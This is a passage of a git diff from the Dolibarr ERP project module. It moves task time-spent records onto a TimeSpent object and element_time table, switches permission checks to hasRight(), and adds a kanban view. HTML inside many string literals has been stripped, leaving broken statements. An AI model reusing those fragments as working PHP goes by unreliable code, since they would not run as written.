(".$datefieldname." <= '".$this->db->idate($datee)."' OR ".$datefieldname." IS NULL)"; } //print $sql; @@ -1521,58 +1557,38 @@ class Task extends CommonObjectLine { global $langs; - $sql = "SELECT"; - $sql .= " t.rowid,"; - $sql .= " t.fk_task,"; - $sql .= " t.task_date,"; - $sql .= " t.task_datehour,"; - $sql .= " t.task_date_withhour,"; - $sql .= " t.task_duration,"; - $sql .= " t.fk_user,"; - $sql .= " t.fk_product,"; - $sql .= " t.thm,"; - $sql .= " t.note"; - $sql .= " FROM ".MAIN_DB_PREFIX."projet_task_time as t"; - $sql .= " WHERE t.rowid = ".((int) $id); + $timespent = new TimeSpent($this->db); + $timespent->fetch($id); dol_syslog(get_class($this)."::fetchTimeSpent", LOG_DEBUG); - $resql = $this->db->query($sql); - if ($resql) { - if ($this->db->num_rows($resql)) { - $obj = $this->db->fetch_object($resql); - $this->timespent_id = $obj->rowid; - $this->id = $obj->fk_task; - $this->timespent_date = $this->db->jdate($obj->task_date); - $this->timespent_datehour = $this->db->jdate($obj->task_datehour); - $this->timespent_withhour = $obj->task_date_withhour; - $this->timespent_duration = $obj->task_duration; - $this->timespent_fk_user = $obj->fk_user; - $this->timespent_fk_product = $obj->fk_product; - $this->timespent_thm = $obj->thm; // hourly rate - $this->timespent_note = $obj->note; - } - - $this->db->free($resql); + if ($timespent->id > 0) { + $this->timespent_id = $timespent->id; + $this->id = $timespent->fk_element; + $this->timespent_date = $this->db->jdate($timespent->element_date); + $this->timespent_datehour = $this->db->jdate($timespent->element_datehour); + $this->timespent_withhour = $timespent->element_date_withhour; + $this->timespent_duration = $timespent->element_duration; + $this->timespent_fk_user = $timespent->fk_user; + $this->timespent_fk_product = $timespent->fk_product; + $this->timespent_thm = $timespent->thm; // hourly rate + $this->timespent_note = $timespent->note; return 1; - } else { - $this->error = "Error ".$this->db->lasterror(); - return -1; } + + return 0; } /** * Load all records of time spent * - * @param User $userobj User object - * @param string $morewherefilter Add more filter into where SQL request (must start with ' AND ...') - * @return int <0 if KO, array of time spent if OK + * @param User $userobj User object + * @param string $morewherefilter Add more filter into where SQL request (must start with ' AND ...') + * @return array|int <0 if KO, array of time spent if OK */ public function fetchAllTimeSpent(User $userobj, $morewherefilter = '') { - global $langs; - $arrayres = array(); $sql = "SELECT"; @@ -1580,11 +1596,11 @@ class Task extends CommonObjectLine $sql .= " s.nom as thirdparty_name,"; $sql .= " s.email as thirdparty_email,"; $sql .= " ptt.rowid,"; - $sql .= " ptt.fk_task,"; - $sql .= " ptt.task_date,"; - $sql .= " ptt.task_datehour,"; - $sql .= " ptt.task_date_withhour,"; - $sql .= " ptt.task_duration,"; + $sql .= " ptt.fk_element as fk_task,"; + $sql .= " ptt.element_date as task_date,"; + $sql .= " ptt.element_datehour as task_datehour,"; + $sql .= " ptt.element_date_withhour as task_date_withhour,"; + $sql .= " ptt.element_duration as task_duration,"; $sql .= " ptt.fk_user,"; $sql .= " ptt.note,"; $sql .= " ptt.thm,"; @@ -1595,9 +1611,10 @@ class Task extends CommonObjectLine $sql .= " p.ref as project_ref,"; $sql .= " p.title as project_label,"; $sql .= " p.public as public"; - $sql .= " FROM ".MAIN_DB_PREFIX."projet_task_time as ptt, ".MAIN_DB_PREFIX."projet_task as pt, ".MAIN_DB_PREFIX."projet as p"; + $sql .= " FROM ".MAIN_DB_PREFIX."element_time as ptt, ".MAIN_DB_PREFIX."projet_task as pt, ".MAIN_DB_PREFIX."projet as p"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."societe as s ON p.fk_soc = s.rowid"; - $sql .= " WHERE ptt.fk_task = pt.rowid AND pt.fk_projet = p.rowid"; + $sql .= " WHERE ptt.fk_element = pt.rowid AND pt.fk_projet = p.rowid"; + $sql .= " AND ptt.elementtype = 'task'"; $sql .= " AND ptt.fk_user = ".((int) $userobj->id); $sql .= " AND pt.entity IN (".getEntity('project').")"; if ($morewherefilter) { @@ -1696,18 +1713,20 @@ class Task extends CommonObjectLine $this->db->begin(); - $sql = "UPDATE ".MAIN_DB_PREFIX."projet_task_time SET"; - $sql .= " task_date = '".$this->db->idate($this->timespent_date)."',"; - $sql .= " task_datehour = '".$this->db->idate($this->timespent_datehour)."',"; - $sql .= " task_date_withhour = ".(empty($this->timespent_withhour) ? 0 : 1).","; - $sql .= " task_duration = ".((int) $this->timespent_duration).","; - $sql .= " fk_user = ".((int) $this->timespent_fk_user).","; - $sql .= " fk_product = ".((int) $this->timespent_fk_product).","; - $sql .= " note = ".(isset($this->timespent_note) ? "'".$this->db->escape($this->timespent_note)."'" : "null"); - $sql .= " WHERE rowid = ".((int) $this->timespent_id); + $timespent = new TimeSpent($this->db); + $timespent->fetch($this->timespent_id); + $timespent->element_date = $this->timespent_date; + $timespent->element_datehour = $this->timespent_datehour; + $timespent->element_date_withhour = $this->timespent_withhour; + $timespent->element_duration = $this->timespent_duration; + $timespent->fk_user = $this->timespent_fk_user; + $timespent->fk_product = $this->timespent_fk_product; + $timespent->note = $this->timespent_note; + $timespent->invoice_id = $this->timespent_invoiceid; + $timespent->invoice_line_id = $this->timespent_invoicelineid; dol_syslog(get_class($this)."::updateTimeSpent", LOG_DEBUG); - if ($this->db->query($sql)) { + if ($timespent->update($user) > 0) { if (!$notrigger) { // Call trigger $result = $this->call_trigger('TASK_TIMESPENT_MODIFY', $user); @@ -1731,7 +1750,7 @@ class Task extends CommonObjectLine if ($this->timespent_old_duration != $this->timespent_duration) { // Recalculate amount of time spent for task and update denormalized field $sql = "UPDATE " . MAIN_DB_PREFIX . "projet_task"; - $sql .= " SET duration_effective = (SELECT SUM(task_duration) FROM " . MAIN_DB_PREFIX . "projet_task_time as ptt where ptt.fk_task = " . ((int) $this->id) . ")"; + $sql .= " SET duration_effective = (SELECT SUM(element_duration) FROM " . MAIN_DB_PREFIX . "element_time as ptt where ptt.elementtype = 'task' AND ptt.fk_element = " . ((int) $this->id) . ")"; if (isset($this->progress)) { $sql .= ", progress = " . ((float) $this->progress); // Do not overwrite value if not provided } @@ -1746,15 +1765,18 @@ class Task extends CommonObjectLine } // Update hourly rate of this time spent entry, but only if it was not set initialy - $sql = "UPDATE ".MAIN_DB_PREFIX."projet_task_time"; - $sql .= " SET thm = (SELECT thm FROM ".MAIN_DB_PREFIX."user WHERE rowid = ".((int) $this->timespent_fk_user).")"; // set average hour rate of user - $sql .= " WHERE rowid = ".((int) $this->timespent_id); - if (empty($conf->global->TIMESPENT_ALWAYS_UPDATE_THM)) { // then if not empty we always update, in case of new thm for user, or change user of task time line - $sql .= " AND (thm IS NULL OR thm = 0)"; + $res_update = 1; + if (empty($timespent->thm) || !empty($conf->global->TIMESPENT_ALWAYS_UPDATE_THM)) { + $resql_thm_user = $this->db->query("SELECT thm FROM " . MAIN_DB_PREFIX . "user WHERE rowid = " . ((int) $timespent->fk_user)); + if (!empty($resql_thm_user)) { + $obj_thm_user = $this->db->fetch_object($resql_thm_user); + $timespent->thm = $obj_thm_user->thm; + } + $res_update = $timespent->update($user); } - dol_syslog(get_class($this)."::addTimeSpent", LOG_DEBUG); - if (!$this->db->query($sql)) { + dol_syslog(get_class($this)."::updateTimeSpent", LOG_DEBUG); + if ($res_update <= 0) { $this->error = $this->db->lasterror(); $ret = -2; } @@ -1802,12 +1824,12 @@ class Task extends CommonObjectLine } if (!$error) { - $sql = "DELETE FROM ".MAIN_DB_PREFIX."projet_task_time"; - $sql .= " WHERE rowid = ".((int) $this->timespent_id); + $timespent = new TimeSpent($this->db); + $timespent->fetch($this->timespent_id); - dol_syslog(get_class($this)."::delTimeSpent", LOG_DEBUG); - $resql = $this->db->query($sql); - if (!$resql) { + $res_del = $timespent->delete($user); + + if ($res_del < 0) { $error++; $this->errors[] = "Error ".$this->db->lasterror(); } } @@ -2203,7 +2225,7 @@ class Task extends CommonObjectLine $sql .= " t.rowid as taskid, t.progress as progress, t.fk_statut as status,"; $sql .= " t.dateo as date_start, t.datee as datee"; $sql .= " FROM ".MAIN_DB_PREFIX."projet as p"; - $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."societe as s on p.fk_soc = s.rowid"; + //$sql .= " LEFT JOIN ".MAIN_DB_PREFIX."societe as s on p.fk_soc = s.rowid"; //if (! $user->rights->societe->client->voir && ! $socid) $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."societe_commerciaux as sc ON sc.fk_soc = s.rowid"; $sql .= ", ".MAIN_DB_PREFIX."projet_task as t"; $sql .= " WHERE p.entity IN (".getEntity('project', 0).')'; @@ -2226,7 +2248,7 @@ class Task extends CommonObjectLine $response = new WorkboardResponse(); $response->warning_delay = $conf->project->task->warning_delay / 60 / 60 / 24; $response->label = $langs->trans("OpenedTasks"); - if ($user->rights->projet->all->lire) { + if ($user->hasRight("projet", "all", "lire")) { $response->url = DOL_URL_ROOT.'/projet/tasks/list.php?mainmenu=project'; } else { $response->url = DOL_URL_ROOT.'/projet/tasks/list.php?mode=mine&mainmenu=project'; @@ -2327,4 +2349,44 @@ class Task extends CommonObjectLine return ($datetouse > 0 && ($datetouse < ($now - $conf->project->task->warning_delay))); } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $langs, $conf; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + //$return .= ''; // Can be image + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl(1) : $this->ref).''; + $return .= ''; + if (property_exists($this, 'fk_project') ) { + $return .= '
      '.$this->fk_project.''; + } + if (property_exists($this, 'budget_amount')) { + $return .= '
      '.$langs->trans("Budget").' : '.price($this->budget_amount, 0, $langs, 1, 0, 0, $conf->currency).''; + } + if (property_exists($this, 'fk_statut')) { + $return .= '
      '.$this->fk_statut.''; + } + if (property_exists($this, 'duration_effective')) { + $return .= '
      '.getTaskProgressView($this, false, false).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } diff --git a/htdocs/projet/class/taskstats.class.php b/htdocs/projet/class/taskstats.class.php index a5b088f01e8..6ff56fd8132 100644 --- a/htdocs/projet/class/taskstats.class.php +++ b/htdocs/projet/class/taskstats.class.php @@ -15,6 +15,7 @@ * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ + include_once DOL_DOCUMENT_ROOT.'/core/class/stats.class.php'; include_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; @@ -69,7 +70,7 @@ class TaskStats extends Stats $result = array(); $res = array(); - dol_syslog(get_class($this).'::'.__METHOD__."", LOG_DEBUG); + dol_syslog(get_class($this).'::'.__METHOD__, LOG_DEBUG); $resql = $this->db->query($sql); if ($resql) { $num = $this->db->num_rows($resql); @@ -193,4 +194,35 @@ class TaskStats extends Stats // var_dump($res);print '
      '; return $res; } + + + /** + * Return the Task amount by month for a year + * + * @param int $year Year to scan + * @param int $format 0=Label of abscissa is a translated text, 1=Label of abscissa is month number, 2=Label of abscissa is first letter of month + * @return array Array with amount by month + */ + public function getAmountByMonth($year, $format = 0) + { + // Return an empty array at the moment because task has no amount + return array(); + } + + /** + * Return average of entity by month + * @param int $year year number + * @return array array of values + */ + protected function getAverageByMonth($year) + { + $sql = "SELECT date_format(datef,'%m') as dm, AVG(f.".$this->field.")"; + $sql .= " FROM ".$this->from; + $sql .= " WHERE f.datef BETWEEN '".$this->db->idate(dol_get_first_day($year))."' AND '".$this->db->idate(dol_get_last_day($year))."'"; + $sql .= " AND ".$this->where; + $sql .= " GROUP BY dm"; + $sql .= $this->db->order('dm', 'DESC'); + + return $this->_getAverageByMonth($year, $sql); + } } diff --git a/htdocs/projet/comment.php b/htdocs/projet/comment.php index 024dce3abc9..7103916cdb4 100644 --- a/htdocs/projet/comment.php +++ b/htdocs/projet/comment.php @@ -136,7 +136,7 @@ print ''; // Budget print '
      '; diff --git a/htdocs/projet/contact.php b/htdocs/projet/contact.php index f6827fc19b3..b0fece54827 100644 --- a/htdocs/projet/contact.php +++ b/htdocs/projet/contact.php @@ -69,134 +69,142 @@ $hookmanager->initHooks(array('projectcontactcard', 'globalcard')); * Actions */ -// Test if we can add contact to the tasks at the same times, if not or not required, make a redirect -$formconfirmtoaddtasks = ''; -if ($action == 'addcontact') { - $form = new Form($db); - - $source=GETPOST("source", 'aZ09'); - - $taskstatic = new Task($db); - $task_array = $taskstatic->getTasksArray(0, 0, $object->id, 0, 0); - $nbTasks = count($task_array); - - //If no task avaiblable, redirec to to add confirm - $type_to = (GETPOST('typecontact') ? 'typecontact='.GETPOST('typecontact') : 'type='.GETPOST('type')); - $personToAffect = (GETPOST('userid') ? GETPOST('userid', 'int') : GETPOST('contactid', 'int')); - $affect_to = (GETPOST('userid') ? 'userid='.$personToAffect : 'contactid='.$personToAffect); - $url_redirect='?id='.$object->id.'&'.$affect_to.'&'.$type_to.'&source='.$source; - - if ($personToAffect > 0 && (empty($conf->global->PROJECT_HIDE_TASKS) || $nbTasks > 0)) { - $text = $langs->trans('AddPersonToTask'); - $textbody = $text.' ('.$langs->trans("SelectAll").')'; - $formquestion = array('text' => $textbody); - - $task_to_affect = array(); - foreach ($task_array as $task) { - $task_already_affected=false; - $personsLinked = $task->liste_contact(-1, $source); - if (!is_array($personsLinked) && count($personsLinked) < 0) { - setEventMessage($object->error, 'errors'); - } else { - foreach ($personsLinked as $person) { - if ($person['id']==$personToAffect) { - $task_already_affected = true; - break; - } - } - if (!$task_already_affected) { - $task_to_affect[$task->id] = $task->id; - } - } - } - - if (empty($task_to_affect)) { - $action = 'addcontact_confirm'; - } else { - $formcompany = new FormCompany($db); - foreach ($task_array as $task) { - $key = $task->id; - $val = $task->ref . ' '.dol_trunc($task->label); - $formquestion[] = array( - 'type' => 'other', - 'name' => 'person_'.$key.',person_role_'.$key, - 'label' => ''; // Opportunity percent - print ''; + print ''; // Opportunity Amount print ''; @@ -397,7 +402,7 @@ if ($id > 0 || !empty($ref)) { $start = dol_print_date($object->date_start, 'day'); print ($start ? $start : '?'); $end = dol_print_date($object->date_end, 'day'); - print ' - '; + print ' - '; print ($end ? $end : '?'); if ($object->hasDelay()) { print img_warning("Late"); @@ -418,7 +423,7 @@ if ($id > 0 || !empty($ref)) { // Description print ''; // Categories diff --git a/htdocs/projet/document.php b/htdocs/projet/document.php index bb50bf0def6..4e7620476c4 100644 --- a/htdocs/projet/document.php +++ b/htdocs/projet/document.php @@ -50,7 +50,7 @@ if (!empty($conf->global->PROJECT_ALLOW_COMMENT_ON_PROJECT) && method_exists($ob } if ($id > 0 || !empty($ref)) { - $upload_dir = $conf->project->dir_output."/".dol_sanitizeFileName($object->ref); + $upload_dir = $conf->project->multidir_output[$object->entity]."/".dol_sanitizeFileName($object->ref); } // Get parameters @@ -110,7 +110,7 @@ llxHeader('', $title, $help_url); $form = new Form($db); if ($object->id > 0) { - $upload_dir = $conf->project->dir_output.'/'.dol_sanitizeFileName($object->ref); + $upload_dir = $conf->project->multidir_output[$object->entity].'/'.dol_sanitizeFileName($object->ref); // To verify role of users //$userAccess = $object->restrictedProjectArea($user,'read'); diff --git a/htdocs/projet/element.php b/htdocs/projet/element.php index f96f5737cf4..a737ffce640 100644 --- a/htdocs/projet/element.php +++ b/htdocs/projet/element.php @@ -8,6 +8,7 @@ * Copyright (C) 2016 Josep Lluís Amador * Copyright (C) 2021 Gauthier VERDOL * Copyright (C) 2021 Noé Cendrier + * Copyright (C) 2023 Gauthier VERDOL * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -291,14 +292,14 @@ if (!empty($conf->global->PROJECT_USE_OPPORTUNITIES)) { // Opportunity percent print ''; // Opportunity Amount print ''; @@ -340,7 +341,7 @@ print '
      '.$langs->trans("OpportunityProbability").''; + print ' / '; if (strcmp($object->opp_percent, '')) { print price($object->opp_percent, 0, $langs, 1, 0).' %'; } - print '
      '.$langs->trans("OpportunityAmount").''; @@ -1198,20 +1308,11 @@ if ($action == 'create' && $user->rights->projet->creer) { } } print '
      '.$langs->trans('OpportunityWeightedAmount').''; - if (strcmp($object->opp_amount, '') && strcmp($object->opp_percent, '')) { - print ''.price($object->opp_amount * $object->opp_percent / 100, 0, $langs, 1, 0, -1, $conf->currency).''; - } - print '
      '.$langs->trans("Budget").''; - if (strcmp($object->budget_amount, '')) { + if (!is_null($object->budget_amount) && strcmp($object->budget_amount, '')) { print ''.price($object->budget_amount, 0, $langs, 1, 0, 0, $conf->currency).''; } print '
      '.$langs->trans("Budget").''; -if (strcmp($object->budget_amount, '')) { +if (!is_null($object->budget_amount) && strcmp($object->budget_amount, '')) { print price($object->budget_amount, '', $langs, 1, 0, 0, $conf->currency); } print '
      '.$langs->trans("OpportunityStatus").''; $code = dol_getIdFromCode($db, $object->opp_status, 'c_lead_status', 'rowid', 'code'); if ($code) { print $langs->trans("OppStatus".$code); } - print '
      '.$langs->trans("OpportunityProbability").''; + print ' / '; if (strcmp($object->opp_percent, '')) { - print price($object->opp_percent, '', $langs, 1, 0).' %'; + print price($object->opp_percent, 0, $langs, 1, 0).' %'; } - print '
      '.$langs->trans("OpportunityAmount").''; if (strcmp($object->opp_amount, '')) { - print ''.price($object->opp_amount, '', $langs, 0, 0, 0, $conf->currency).''; + print ''.price($object->opp_amount, 0, $langs, 1, 0, -1, $conf->currency).''; if (strcmp($object->opp_percent, '')) { print '       '.$langs->trans("Weighted").': '.price($object->opp_amount * $object->opp_percent / 100, 0, $langs, 1, 0, -1, $conf->currency).''; } @@ -387,8 +392,8 @@ if ($id > 0 || !empty($ref)) { // Budget print '
      '.$langs->trans("Budget").''; - if (strcmp($object->budget_amount, '')) { - print ''.price($object->budget_amount, '', $langs, 0, 0, 0, $conf->currency).''; + if (!is_null($object->budget_amount) && strcmp($object->budget_amount, '')) { + print ''.price($object->budget_amount, 0, $langs, 1, 0, 0, $conf->currency).''; } print '
      '.$langs->trans("Description").''; - print nl2br($object->description); + print dol_htmlentitiesbr($object->description); print '
      '.$langs->trans("OpportunityProbability").''; - if (strcmp($object->opp_percent, '')) { + if (!is_null($object->opp_percent) && strcmp($object->opp_percent, '')) { print price($object->opp_percent, '', $langs, 1, 0).' %'; } print '
      '.$langs->trans("OpportunityAmount").''; - if (strcmp($object->opp_amount, '')) { + if (!is_null($object->opp_amount) && strcmp($object->opp_amount, '')) { print ''.price($object->opp_amount, '', $langs, 1, 0, 0, $conf->currency).''; if (strcmp($object->opp_percent, '')) { print '       '.$langs->trans("Weighted").': '.price($object->opp_amount * $object->opp_percent / 100, 0, $langs, 1, 0, -1, $conf->currency).''; @@ -309,7 +310,7 @@ if (!empty($conf->global->PROJECT_USE_OPPORTUNITIES)) { // Budget print '
      '.$langs->trans("Budget").''; -if (strcmp($object->budget_amount, '')) { +if (!is_null($object->budget_amount) && strcmp($object->budget_amount, '')) { print ''.price($object->budget_amount, '', $langs, 1, 0, 0, $conf->currency).''; } print '
      '; // Description print ''; // Categories @@ -376,8 +377,8 @@ $listofreferent = array( 'lang'=>'entrepot', 'buttonnew'=>'AddWarehouse', 'project_field'=>'fk_project', - 'testnew'=>$user->rights->stock->creer, - 'test'=>$conf->stock->enabled && $user->rights->stock->lire && !empty($conf->global->WAREHOUSE_ASK_WAREHOUSE_DURING_PROJECT)), + 'testnew'=>$user->hasRight('stock', 'creer'), + 'test'=>!empty($conf->stock->enabled) && $user->hasRight('stock', 'lire') && !empty($conf->global->WAREHOUSE_ASK_WAREHOUSE_DURING_PROJECT)), 'propal'=>array( 'name'=>"Proposals", 'title'=>"ListProposalsAssociatedProject", @@ -387,8 +388,8 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/comm/propal/card.php?action=create&origin=project&originid='.$id.'&socid='.$socid.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), 'lang'=>'propal', 'buttonnew'=>'AddProp', - 'testnew'=>$user->rights->propal->creer, - 'test'=>$conf->propal->enabled && $user->rights->propal->lire), + 'testnew'=>$user->hasRight('propal', 'creer'), + 'test'=>!empty($conf->propal->enabled) && $user->hasRight('propal', 'lire')), 'order'=>array( 'name'=>"CustomersOrders", 'title'=>"ListOrdersAssociatedProject", @@ -398,8 +399,8 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/commande/card.php?action=create&projectid='.$id.'&socid='.$socid.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), 'lang'=>'orders', 'buttonnew'=>'CreateOrder', - 'testnew'=>$user->rights->commande->creer, - 'test'=>$conf->commande->enabled && $user->rights->commande->lire), + 'testnew'=>$user->hasRight('commande', 'creer'), + 'test'=>!empty($conf->commande->enabled) && $user->hasRight('commande', 'lire')), 'invoice'=>array( 'name'=>"CustomersInvoices", 'title'=>"ListInvoicesAssociatedProject", @@ -410,8 +411,8 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/compta/facture/card.php?action=create&projectid='.$id.'&socid='.$socid.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), 'lang'=>'bills', 'buttonnew'=>'CreateBill', - 'testnew'=>$user->rights->facture->creer, - 'test'=>$conf->facture->enabled && $user->rights->facture->lire), + 'testnew'=>$user->hasRight('facture', 'creer'), + 'test'=>!empty($conf->facture->enabled) && $user->hasRight('facture', 'lire')), 'invoice_predefined'=>array( 'name'=>"PredefinedInvoices", 'title'=>"ListPredefinedInvoicesAssociatedProject", @@ -421,8 +422,8 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/compta/facture/card.php?action=create&projectid='.$id.'&socid='.$socid.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), 'lang'=>'bills', 'buttonnew'=>'CreateBill', - 'testnew'=>$user->rights->facture->creer, - 'test'=>$conf->facture->enabled && $user->rights->facture->lire), + 'testnew'=>$user->hasRight('facture', 'creer'), + 'test'=>!empty($conf->facture->enabled) && $user->hasRight('facture', 'lire')), 'proposal_supplier'=>array( 'name'=>"SuppliersProposals", 'title'=>"ListSupplierProposalsAssociatedProject", @@ -432,8 +433,8 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/supplier_proposal/card.php?action=create&projectid='.$id.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), // No socid parameter here, the socid is often the customer and we create a supplier object 'lang'=>'supplier_proposal', 'buttonnew'=>'AddSupplierProposal', - 'testnew'=>$user->rights->supplier_proposal->creer, - 'test'=>$conf->supplier_proposal->enabled && $user->rights->supplier_proposal->lire), + 'testnew'=>$user->hasRight('supplier_proposal', 'creer'), + 'test'=>!empty($conf->supplier_proposal->enabled) && $user->hasRight('supplier_proposal', 'lire')), 'order_supplier'=>array( 'name'=>"SuppliersOrders", 'title'=>"ListSupplierOrdersAssociatedProject", @@ -443,8 +444,8 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/fourn/commande/card.php?action=create&projectid='.$id.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), // No socid parameter here, the socid is often the customer and we create a supplier object 'lang'=>'suppliers', 'buttonnew'=>'AddSupplierOrder', - 'testnew'=>($user->rights->fournisseur->commande->creer || $user->rights->supplier_order->creer), - 'test'=>$conf->supplier_order->enabled && ($user->rights->fournisseur->commande->lire || $user->rights->supplier_order->lire)), + 'testnew'=>$user->hasRight('fournisseur', 'commande', 'creer') || $user->hasRight('supplier_order', 'creer'), + 'test'=>!empty($conf->supplier_order->enabled) && $user->hasRight('fournisseur', 'commande', 'lire') || $user->hasRight('supplier_order', 'lire')), 'invoice_supplier'=>array( 'name'=>"BillsSuppliers", 'title'=>"ListSupplierInvoicesAssociatedProject", @@ -455,8 +456,8 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/fourn/facture/card.php?action=create&projectid='.$id.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), // No socid parameter here, the socid is often the customer and we create a supplier object 'lang'=>'suppliers', 'buttonnew'=>'AddSupplierInvoice', - 'testnew'=>($user->rights->fournisseur->facture->creer || $user->rights->supplier_invoice->creer), - 'test'=>$conf->supplier_invoice->enabled && ($user->rights->fournisseur->facture->lire || $user->rights->supplier_invoice->lire)), + 'testnew'=>$user->hasRight('fournisseur', 'facture', 'creer') || $user->hasRight('supplier_invoice', 'creer'), + 'test'=>!empty($conf->supplier_invoice->enabled) && $user->hasRight('fournisseur', 'facture', 'lire') || $user->hasRight('supplier_invoice', 'lire')), 'contract'=>array( 'name'=>"Contracts", 'title'=>"ListContractAssociatedProject", @@ -466,8 +467,8 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/contrat/card.php?action=create&projectid='.$id.'&socid='.$socid.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), 'lang'=>'contracts', 'buttonnew'=>'AddContract', - 'testnew'=>$user->rights->contrat->creer, - 'test'=>$conf->contrat->enabled && $user->rights->contrat->lire), + 'testnew'=>$user->hasRight('contrat', 'creer'), + 'test'=>!empty($conf->contrat->enabled) && $user->hasRight('contrat', 'lire')), 'intervention'=>array( 'name'=>"Interventions", 'title'=>"ListFichinterAssociatedProject", @@ -475,12 +476,12 @@ $listofreferent = array( 'table'=>'fichinter', 'datefieldname'=>'date_valid', 'disableamount'=>0, - 'margin'=>'minus', + 'margin'=>'', 'urlnew'=>DOL_URL_ROOT.'/fichinter/card.php?action=create&origin=project&originid='.$id.'&socid='.$socid.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), 'lang'=>'interventions', 'buttonnew'=>'AddIntervention', - 'testnew'=>$user->rights->ficheinter->creer, - 'test'=>$conf->ficheinter->enabled && $user->rights->ficheinter->lire), + 'testnew'=>$user->hasRight('ficheinter', 'creer'), + 'test'=>!empty($conf->ficheinter->enabled) && $user->hasRight('ficheinter', 'lire')), 'shipping'=>array( 'name'=>"Shippings", 'title'=>"ListShippingAssociatedProject", @@ -501,9 +502,9 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/mrp/mo_card.php?action=create&origin=project&originid='.$id.'&socid='.$socid.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), 'lang'=>'mrp', 'buttonnew'=>'CreateMO', - 'testnew'=>'$user->rights->mrp->write', + 'testnew'=>$user->hasRight('mrp', 'write'), 'project_field'=>'fk_project', - 'test'=>$conf->mrp->enabled && $user->rights->mrp->read), + 'test'=>!empty($conf->mrp->enabled) && $user->hasRight('mrp', 'read')), 'trip'=>array( 'name'=>"TripsAndExpenses", 'title'=>"ListExpenseReportsAssociatedProject", @@ -515,8 +516,8 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/deplacement/card.php?action=create&projectid='.$id.'&socid='.$socid.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), 'lang'=>'trips', 'buttonnew'=>'AddTrip', - 'testnew'=>$user->rights->deplacement->creer, - 'test'=>$conf->deplacement->enabled && $user->rights->deplacement->lire), + 'testnew'=>$user->hasRight('deplacement', 'creer'), + 'test'=>!empty($conf->deplacement->enabled) && $user->hasRight('deplacement', 'lire')), 'expensereport'=>array( 'name'=>"ExpenseReports", 'title'=>"ListExpenseReportsAssociatedProject", @@ -528,8 +529,8 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/expensereport/card.php?action=create&projectid='.$id.'&socid='.$socid.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), 'lang'=>'trips', 'buttonnew'=>'AddTrip', - 'testnew'=>$user->rights->expensereport->creer, - 'test'=>$conf->expensereport->enabled && $user->rights->expensereport->lire), + 'testnew'=>$user->hasRight('expensereport', 'creer'), + 'test'=>!empty($conf->expensereport->enabled) && $user->hasRight('expensereport', 'lire')), 'donation'=>array( 'name'=>"Donation", 'title'=>"ListDonationsAssociatedProject", @@ -541,8 +542,8 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/don/card.php?action=create&projectid='.$id.'&socid='.$socid.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), 'lang'=>'donations', 'buttonnew'=>'AddDonation', - 'testnew'=>$user->rights->don->creer, - 'test'=>$conf->don->enabled && $user->rights->don->lire), + 'testnew'=>$user->hasRight('don', 'creer'), + 'test'=>!empty($conf->don->enabled) && $user->hasRight('don', 'lire')), 'loan'=>array( 'name'=>"Loan", 'title'=>"ListLoanAssociatedProject", @@ -554,8 +555,8 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/loan/card.php?action=create&projectid='.$id.'&socid='.$socid.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), 'lang'=>'loan', 'buttonnew'=>'AddLoan', - 'testnew'=>$user->rights->loan->write, - 'test'=>$conf->loan->enabled && $user->rights->loan->read), + 'testnew'=>$user->hasRight('loan', 'write'), + 'test'=>!empty($conf->loan->enabled) && $user->hasRight('loan', 'read')), 'chargesociales'=>array( 'name'=>"SocialContribution", 'title'=>"ListSocialContributionAssociatedProject", @@ -567,29 +568,29 @@ $listofreferent = array( 'urlnew'=>DOL_URL_ROOT.'/compta/sociales/card.php?action=create&projectid='.$id.'&backtopage='.urlencode($_SERVER['PHP_SELF'].'?id='.$id), 'lang'=>'compta', 'buttonnew'=>'AddSocialContribution', - 'testnew'=>$user->rights->tax->charges->lire, - 'test'=>$conf->tax->enabled && $user->rights->tax->charges->lire), + 'testnew'=>$user->hasRight('tax', 'charges', 'lire'), + 'test'=>!empty($conf->tax->enabled) && $user->hasRight('tax', 'charges', 'lire')), 'project_task'=>array( 